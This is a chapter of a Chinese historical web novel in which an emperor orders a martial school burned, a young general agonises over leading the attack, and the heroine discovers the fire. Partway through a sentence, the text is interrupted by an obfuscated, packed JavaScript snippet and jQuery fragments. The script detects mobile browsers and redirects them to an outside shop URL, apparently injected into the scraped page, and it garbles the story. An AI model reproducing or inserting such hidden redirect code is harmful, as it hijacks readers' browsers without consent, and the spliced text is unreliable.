46.惊变
作品:《一株蛮姜》 镜国皇宫。
一位中年男子身着紫金锦袍,歪坐在紫檀鎏金的龙椅上,手里把玩着一串白玉制的佛珠。
他眉目慵懒,气度却透着威严。
“都查实了吗?”男子淡淡地开口。
“禀陛下,卑职无能!但查实桑城的秋叶棠,确有窝藏余孽之嫌疑,应是庄国人的手笔。但是里边的江湖势力又盘根错节,许多细节不好查证。”大殿下跪着一个戎装男子,头叩在地上,极尽恭敬姿态。
“养你们这群废物有何用,这么多年了才查到这么点东西。”男子的声音透着冷厉,“能确认是不是她么?”
“之前抓住了他们埋藏的暗桩,用了好些手段,才拷问出来。经确认,秋叶棠就是庄国的一处细作窝点。至于那个丫头,我们核查了年岁,行迹,都能合上。总之不论真假,抓回来一验便知。”
“若真是她,那她还真是命大,宫变那场大火居然都没烧死她。也罢,那就再烧一次。”王座上人轻描淡写地开口。
“是!但是……但是属下还有一事要禀明。”底下的人犹豫着开口道。
“有什么赶紧说。”镜帝不耐烦地皱起了眉。
“秋叶棠的砚山先生,收了不少弟子,里边有李尚书的次子……还有……还有参边将军庆述之子庆沅沣。因为涉及朝臣,卑职不敢妄下定夺,还请陛下裁定。”
“诛了吧!”镜帝不在意地摆了摆手。
“回陛下,李尚书咱们好处理,只需随便寻个什么由头。但是这庆沅沣……去年边关那一战,他……他身上有军功,若随意处置了,恐怕有损陛下威名……且现下与庄国边境紧张,正是缺将的时候……”
“庆沅沣?是那个唤作庆之的年轻小将吧,倒是有点本事。那就……”镜王直起身子,略略思索了下,整肃了神情开口道:“传令下去,庆沅沣退敌有功,封暨远将军,率兵剿灭秋叶棠余孽,最好是一把火烧了,若不能活捉,就不留活口。”
“是,卑职领命。”
“还有,让参边将军庆述一起去,你来做监军,若有异动,一并诛之。”
镜帝平淡的眸光里闪烁着杀意,只一转身,又是一派慵懒淡漠模样。
王令传至参边将军府时,天色已经全黑了。一层又一层的阴云笼罩在上空,压得人有些喘不过气。
“父亲,一定是哪里出问题了!秋叶棠……怎么会……”庆之整个人犹如被抽光了神志,空洞着眼神看着庆述。
“陛下说是,不是也必须要是!何况,你怎么知道是不是,他们既是查过,又下了这样的命令,必定是有证据的!你刚刚对传令的宦官说的那些话,就非常失仪。你现在是被封了大将军,你要谢恩!”庆述语气严厉。
“不——蛮姜还在里面,师父也在里面,还有……不可以——不可以!”庆之脱口而出,他缓缓退至墙边,无力地跌坐在地上,眼眶一片血色。
“儿啊!你还不明白吗?现在你说的那个叫蛮姜的姑娘,很有可能就是他们说的‘前朝余孽’啊!”庆述低叹一口气,“哎,若她还活着,确实也是这个年纪了。”
“父亲,我不可以杀蛮姜,我那么喜欢她,我说过要保护她的……”庆之的眼泪从眼角止不住漫出,他跪在地上,匍匐着爬到庆述的面前抱住他的腿,“父亲,你帮帮我好不好,秋叶棠还有我师傅,还有我的师兄弟们,还有……我怎么可以——我怎么可以——不行的父亲,我不可以……”
庆述揪住庆之的衣领将他拽起,“庆沅沣,你清醒一点!你是将门之后,祖祖辈辈都在拼死效忠你的国家,你现在的锦衣玉食是你先祖在沙场的血泪换来的。你从于君为人臣,必将以忠义事君。陛下为什么指你去你剿灭秋叶棠你想过吗?你今年还不满二十岁,少年封将,这是陛下给我们家的体面。”
“你十二岁入秋叶棠跟砚山先生学剑,现下秋叶棠事态的严重性你还没有意识到吗?是敌国奸细作乱,企图利用前朝公主,祸乱我们的国家。现在陛下给足了面子,要你证明你和这件事没有丝毫关系,不光是你,还有我,我们整个庆家,你要证明我们和他们没有关系,所以你要亲手剿灭他们,你懂吗?”
“可是他们,他们是我的师父,我的朋友,我的……我要用他们的血来洗干净自己,我做不到,我做不到……”庆之缓缓蹲下身,哭坐到地上。
“李大人次子李昌齐在你之后进秋叶棠,只学了两年,今早就被查贪腐抄了家,现在一家几十口人押在刑部大牢,生死未卜。这是巧合吗?你念及你的恩师朋友,但你可曾想过你的家人?奶奶现在年纪大了,这些他受得住吗?”庆述跟着蹲下来,语重心长地对庆之说。
李昌齐?!
他的师弟,谢心遥的新婚丈夫……
庆之麻木地坐在地上,甚至于忘了呼吸,良久惊觉,大口大口喘着气,喘得过激又呛住,钝钝地咳嗽起来。
庆述站起身,准备往外走,“现在这件事还是秘密进行,一旦走漏风声,计划失败,我们的下场会和李大人一样,甚至更惨。”
“今晚你休息一下,好好想想。三日之后就要动身,我希望到时候,你是军容整肃的少年将军,是杀伐果决的战场鬼神。在此之前,我会让人看住你,哪里都不许去。”
“三日之后?三日之后……”庆之躺在地上,嘴里喃喃地念叨着,眼泪从眼角渗进发丝,流到地上。
庆之此刻只觉得,命运就像是朝他奔涌倾泻而来的洪水,他还未来得及有任何反应,整个人便被这湍洪水裹挟着,扯进一个巨大的漩涡,不停得往无尽黑暗的深渊里拽。
他无从招架,无法呼吸。
*
赵蛮姜今日的课总是上得心神不宁,孙先生讲的东西,她一点没听进去。直到下学,她才反应过来,仓皇地去收拾东西。
“小蛮姜,今日是怎么了,看你有些心不在焉。”孙先生走上赵蛮姜跟前,温和地问。
赵蛮姜忙摆摆手:“哦哦哦,没有没有,对不起老师,我之后注意。”
“别是我这个老家伙讲的东西越发无趣,你都不爱听了。”孙先生自嘲地打着折扇。
“哪里的话!孙先生可是这天下顶有学问的人,学生我天资愚笨,都没有学到您的一些皮毛,实在惭愧。”赵蛮姜嬉皮笑脸地去拉先生的衣袖,哄着孙先生。
“小东西,你就顶会哄我开心!”孙先生也笑了起来,随即又收了折扇,怅然道:“这么些年,你小娃娃也长大了。这日后,也是要出师了……”
赵蛮姜看着孙先生鬓边的白发似乎又添了好几缕,心下不免有些伤感,但还是强打了精神,“出师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724139|181745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有好久呢!再说了,我出师了也还住在秋叶棠呀,没事的时候,我就常来看您,继续跟您说话陪您解闷,可好?”
“哈哈哈哈,好好好,别学阿决那个顽固的性子,请都请不过来。你快回去罢,莫要外头接你的人等急了。”孙先生爽朗地笑起来说道。
“嗯,明日再见!”赵蛮姜调皮地眨了眨眼,往门外走去。
赵蛮姜刚出书院门,就看到坐在马车上等着她的阮久青,背着要西沉的太阳冲她招手,整个人看着柔和得不像话。
“阮姐姐!你怎的又来接我,说了你忙的话让西武场的人来就好。有等很久嘛,我刚多和先生说了两句话。”赵蛮姜小步跑上前,对着阮久青说道。
“今日出外诊,结束后直接过来了,没有等很久,也就刚到。”阮久青笑着扶着她上马车。
阮久青也知道赵蛮姜同西武场的弟子不相熟,这几日都想着法子过来接她。
“我今日也坐在外边陪你说话,不进去坐了。”赵蛮姜并排着阮久青,在马车前坐下来。
“依你。”阮久青温柔地应了她,轻抽了一下马,马车开始跑起来了。
一路上他们如往日一般聊着天,果真同阮久青一起,路程也不觉着长了。
不多时,已经快到秋叶棠了。
“阮姐姐,这里怎么有这么多烟啊?”往秋叶棠方向走着,一股刺鼻的烟味越来越浓。
“这个季节,不该是烧田埂啊,是什么着火了吗?”阮久青皱着眉思忖道。
“越往前走越浓了!”赵蛮姜不知怎么,心底升起隐隐的不安。
阮久青用力地拽了一下缰绳,神色凝重,“阿姜,情形不大对,我们先下车,慢慢往那边走看看。”
“好!”赵蛮姜心里止不住地开始慌起来,她扶着阮久青的手下了马车,任由她牵着小心翼翼地往浓烟方向走去。
“诶,你看那方旗子上写的‘庆’……”赵蛮姜话还没说完,被阮久青捂住了嘴。
阮久青把赵蛮姜拖到一边,指了指秋叶棠的方向,“阿姜,你看。”
此时已是日暮时分,夕阳把天空浸染得如血色一般,火红的云一层一层地铺开,显得无比凄美壮丽。
而前方秋叶棠的位置,正向天空滚滚地冒着白色灰色的烟尘,直接遮蔽了那片上空的血色云层。
赵蛮姜捂住嘴,努力不让自己惊叫出声,她的眼神充满了惊诧,呆呆地望着阮久青。
“此地也不宜久留,我们先回马车那边。”阮久青紧紧握着赵蛮姜的手,拉着她往马车的方向跑。
赵蛮姜感觉到牵着她的阮久青,手心一片冰凉,“阮姐姐,这是怎么了?怎么会变成这样?”
“我今日一早就出外诊,结束后便直接过来接你了,我也不知道怎么会变成这样。”阮久青停了下来,双目赤红,里面压着湿意。
她捧着赵蛮姜的脸,拥在怀里,“阿姜,我们先跑,这里太危险,等会在马车上,我跟你说我知道的。”
“好!”赵蛮姜点了点头,主动拉起阮久青,没命地往前跑。
她心里有好多好多的疑问与担忧。为什么秋叶棠会被烧?为什么会有军队在这里?里面的人怎么样了?她们现在要去哪里?
所有的问题全部缠成一团,搅得她心慌意乱。

